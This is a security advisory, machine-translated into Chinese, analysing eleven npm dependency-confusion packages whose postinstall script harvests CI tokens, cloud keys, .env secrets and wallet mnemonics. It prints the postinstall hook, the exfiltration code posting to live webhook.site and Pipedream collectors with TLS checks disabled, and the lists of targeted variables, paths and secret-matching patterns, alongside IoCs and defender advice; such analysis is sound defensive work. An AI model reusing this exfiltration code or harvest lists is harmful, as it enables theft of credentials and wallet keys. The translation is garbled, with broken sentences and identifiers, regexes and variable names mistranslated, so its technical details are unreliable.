CryptoDAO 混亂:npm 包收割 CI/CD 以及加密秘密

CryptoDAO 混亂:十一個 npm 包,一個有效載荷,收割 CI/CD 以及加密錢包金鑰

TL博士

2026年06月17日,一個npm帳號發布了 十一個包裹,用途相同,有效載荷也相同。他們十個人攜帶 cryptodao- 前綴(cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types第 11 個是作用域的 @public-for-cdao/core每個版本都已發布。 99.99.99 並發送位元組完全相同的 recon.jspostinstall.

這些名稱本身就說明了一切。它們讀起來就像是加密/DAO 專案私有工具鏈的內部建置模組。它們以人為抬高的版本號發佈到公共 npm 註冊表中,靜靜等待建置。 pipeline 它被配置為解析這些名稱,並且會在私人註冊表之前(或代替私有註冊表)存取公用 npm。這是 依賴混淆有效載荷經過精確調整,能夠準確降落在預期位置: CI/CD 亞軍.

日期 postinstall 火災, recon.js 收集主機詳細信息,大致掃描 四十個雲端、CI 和加密錢包環境變量讀任何 .env 它找到所有能找到的文件,並將包含秘密訊息的程式碼行原封不動地轉發,然後將封包發送給兩個收集者—— webhook.site 以及一個 Pipedream 端點-TLS 憑證驗證已停用。副本也寫在… /tmp.

嚴重程度: 受影響的生態系: NPM截至發稿時,所有十一個軟體包均已上線。

攻擊解剖

裝置有四個活動部件,一旦你了解了它們的運作原理,你會發現它們都很簡單易懂。 查看套件名稱下方一層。

1. 版本膨脹作為解析器誘餌。 每個軟體包都聲明了版本 99.99.99依賴關係混亂是指當套件管理器請求一個套件時發生的衝突。 內部名稱,也會檢查公共註冊表並選擇最高版本。 查找。 npm 對插入符號或通配符範圍的預設選擇是 在所有已配置的來源中,選擇最令人滿意的版本;如果兩者都是私有的 對於同名註冊表和公共 npm 答案,版本號較大的版本號獲勝。 A 99.99.99 它基本上凌駕於項目任何實際的內部版本之上。 已達到,因此未綁定到私有源的解析器更傾向於使用 公開的——在本例中是敵對的——副本。操作員無需知道 目標的真實版本號;選擇一個荒謬的最大值總是會造成平局。 突破他們的防線。

2. 安裝後觸發器。 的package.json 將有效載荷連接到安裝程序 生命週期:

{   "scripts": { "postinstall": "node recon.js" } }

無需導入軟體包。只需安裝它——這可以透過持續整合 (CI) 實現。 pipeline 自動運行 recon.js.

3. 一次大規模的秘密搜索。 recon.js 分階段組裝結果數組:

  • 主機上下文:主機名稱、平台和版本、架構、使用者名稱、工作狀態 目錄。
  • 環境變數:它遍歷一個包含大約四十個名稱和記錄的固定列表 任何已設定的。該列表很有啟發性——它將通用的 CI 令牌配對。 (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN)和雲 證書 (AWS存取金鑰ID, AWS 秘密存取金鑰, AWS_SESSION_TOKEN) 包含註冊表和容器金鑰(NPM_TOKEN, DOCKER_PASSWORD, 港口密碼)以及一個具有鮮明加密貨幣風格的集群:  私鑰, 記憶法, 種子短語, INFURA_API_KEY, 煉金術 API 金鑰, ETH_RPC, BSC_RPC記錄的值僅保留前 50 個字元。
  • .ENV 文件:它會探測路徑列表—— .ENV, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, 。生產/。發展 變體——對於任何存在的文件,它 將內容篩選為相符的行 金鑰|秘密|令牌|通行證|私鑰|助記符 並將這些行完整地、不截斷地推送到結果中。
  • 建立主機上下文:它列出了前 20 個條目 /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/以及 的/ tmp /.

路徑列表和變數列表都偏向 GitLab 運行器,這表明 有效載荷直接位於自託管的 CI 基礎設施,而不是開發人員。 筆記型電腦.將收穫清單按類別分組,可以清楚顯示預期收穫:

項目類別 到達的變數/路徑
CI/CD 身分與部署 CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
雲端 AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
註冊表和容器 NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
資料儲存庫 DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
加密貨幣/區塊鏈 PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
消息 SLACK_TOKEN, DISCORD_TOKEN
磁碟上 .env 家庭+ /home/gitlab-runner/.env, /root/.env, /app/**/.env;目錄列表 /builds/, /var/lib/gitlab-runner/

加密叢集是它與通用 CI 金鑰的區別所在。 掃描:錢包助記詞和簽名金鑰僅出現在以下環境: 區塊鏈項目,它們直接映射到 cryptodao-/跡象/合同的 為承運商命名。

4. 雙重資料洩露,驗證功能已停用。 收集到的數組是 序列化後透過 POST 發送到兩個目標位置:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

拒絕未授權:false 關閉出站 TLS 憑證檢查 呼叫時,相同的資料會被列印到標準輸出(因此也會出現在 CI 作業日誌中)。 寫給 /tmp/.npm_recon_ .json錯誤往往被默默地吞噬,所以 發送失敗後,安裝輸出中除了一條錯誤訊息外,不會留下任何痕跡。 [偵察]安裝在 線。

文件中的一條主要註釋將其描述為「依賴關係混亂」。 偵察有效載荷。 」環境值被截斷為 50 個字元已 概念驗證的形式。使其超越僅顯示存在的信標的是… .ENV 處理方式:秘密線路全部轉發,目的地 是兩個由攻擊者控制的運作中的收集器,而不是只負責計數的接收器。 命中。

時間線

發布模式是單一腳本推送的標誌,而不是十一次推送的標誌。 獨立上傳。

時間(UTC,2026年06月17日) 創建
03:24:58 cryptodao-bot@99.99.99 出版
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — 作用域變體,約 24 分鐘後

在 29 秒內發出了 10 個包裹,平均每 3 秒發出一個。 範圍 @public-for-cdao/core 大約24分鐘後,發生了第二次 對於相同目標,如果使用該項目的項目引用了該目標,則需要遵循命名約定。 內部工具鏈以作用域而非裸名的形式存在。

妥協指標

類型 指標
收藏家 hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
收藏家 hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
安裝鉤子 postinstall: node recon.js
已刪除文件 /tmp/.npm_recon_<timestamp>.json
日誌標記 [recon] <pkg>@<ver> installed on <hostname> (CI 日誌中的標準輸出)
行為 rejectUnauthorized: false 安裝期間的出站 HTTPS
Payload recon.js所有十一個軟體包都相同(一個共享的建置版本)
版本 99.99.99 每個包裝上
配套 cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (所有 99.99.99)
出版者 aduljune / aduljune@proton.me (郵箱未經核實,未連結原始碼庫)

 歸因與觀察行為

整個集群的所有特徵都指向同一方。所有十一個軟體包都已發布。 透過 npm 帳戶 阿杜爾瓊 (aduljune@proton.me一個未經核實的地址,沒有 在25分鐘內,同時連結原始碼庫 99.99.99 版, 運輸 recon.js 其內容在所有位置都逐字節相同 軟體包(所有 11 個提取副本的 MD5 值均相符)。這是一個有效載荷。 被加入到名稱清單中,而不是獨立重複使用程式碼。

名稱清單定義了目標物件。 cryptodao-* 以及 CDAO 描述 加密/DAO 專案的私有模組佈局,以及有效載荷的收集列表 這與先前的猜測相符:除了通用的 CI 和雲端密鑰之外,它還特別包含以下內容。 伸手 私鑰, 記憶法, 種子短語以及以太坊/BSC RPC 和 提供程序密鑰。 .ENV 搜尋路徑和目錄清單由 GitLab-runner 提供 具體而言,可觀察到的效果是任何 pipeline 被騙安裝了這些 名稱會轉送其 CI 令牌、雲端金鑰和磁碟上的資料。 .ENV 秘密——以及,為了 一個區塊鏈項目,它的錢包材料-提供給兩個第三方收藏家。

我們不聲明帳戶的經營者是誰,也不聲明他們計劃用該帳戶做什麼。 數據。事實本身就足以說明問題:這些名稱針對的是特定類型的資料。 內部工具鏈,有效載荷讀取並傳輸真實的秘密值,以及 基礎設施已投入使用。

影響、趨勢和防禦者指南

依賴關係混亂 之所以仍然有效,是因為它利用了解析器的行為,而不是… 任何包裹都存在漏洞。這裡的承運商無關緊要——十一個幾乎空的包裹。 包裹——但爆炸半徑無關緊要 pipeline 錯誤地更傾向於使用公共 npm 內部名稱。 CI 運行程式最不應該出現這種情況:它們持有 正是這些代幣和 .ENV 此有效載荷讀取的文件,以及它們如何安裝 非交互地依賴項,因此 安裝後 獨自奔跑,無人監視。

這個集群也符合我們不斷觀察到的一種模式:安裝時有效載荷呈現 在進行真正的資質認證收集時,卻稱之為「研究」或「偵察」。 文件內容的變更不會改變程式碼在運行器上的行為。兩個設計選擇保持不變 活動靜默:所有網路和檔案系統操作都被封裝在一個 異常處理程序會丟棄錯誤,例如發送被封鎖或檔案遺失等情況。 不產生任何診斷輸出,唯一列印的內容是一個無關緊要的訊息。 [偵察] …已安裝 融入正常安裝對話中的語句。使用 webhook.site Pipedream 也刻意提供了便利——兩者都是免費的。 即時配置請求捕獲服務,因此運營商無需伺服器。 在出口日誌中,它們自己的主機名稱和目標主機名稱看起來都像是普通的 SaaS 主機名稱。

經濟因素才是讓防守球員關注此事的關鍵所在,即便… 運營商代碼無關緊要。註冊十一個名稱無需任何費用,有效載荷只有一個。 文件被複製了 11 次,所有執行操作都由套件管理器完成。 配置錯誤 pipeline 任何使用這些名稱之一的行為都將為整個過程買單。 操作。

防御者的具體措施:

  • 內部作用域綁定到您的私有註冊表。 配置 npm 以便內部名稱
     作用域僅解析到您的註冊表(作用域化的 .npmrc 註冊表映射,
    或使用一個永遠不會存取公共 npm 的代理程式(針對已擁有的命名空間)。保留你的公共作用域名稱,這樣其他人就無法註冊它們。
  • Commit 鎖定檔案並使用 --ignore-scripts 進行安裝 在CI中 在可行的情況下,或 仔細審查真正需要安裝腳本的少量相依性。  如果 安裝後 沒有被執行。
  • 將 99.99.99(或其他離譜的高值)版本的看似內部名稱視為內部名稱。 作為一種危險信號 用於依賴項審查和註冊表監控。
  • 安裝時出口發出警報。 A 安裝後 開啟一個出站 HTTPS 連接 連接——尤其是在禁用證書驗證的情況下——到 webhook.site、Pipedream 或類似的請求擷取服務值得在網路邊緣進行阻止,並在建置日誌中標記。
  • 尋找文物。 檢查跑步者 /tmp/.npm_recon_*.json 和用於 [偵察] … 已安裝在 … 最近 CI 日誌中的標記上。如果找到,則輪換每個 憑證已暴露給該機構 pipeline — CI 代幣、雲端金鑰、登錄代幣,以及環境或 .env 檔案中存在的任何錢包種子或私鑰。

參考

截至撰寫本文時,尚無關於此集群的外部報告;分析 以上內容直接基於已發佈的軟體包內容。

sca-tools-software-composition-analysis-tools
優先處理、補救並保護您的軟體風險
註冊免費帳號。
不需要信用卡。

確保您的軟體開發和交付安全

使用 Xygeni 產品套件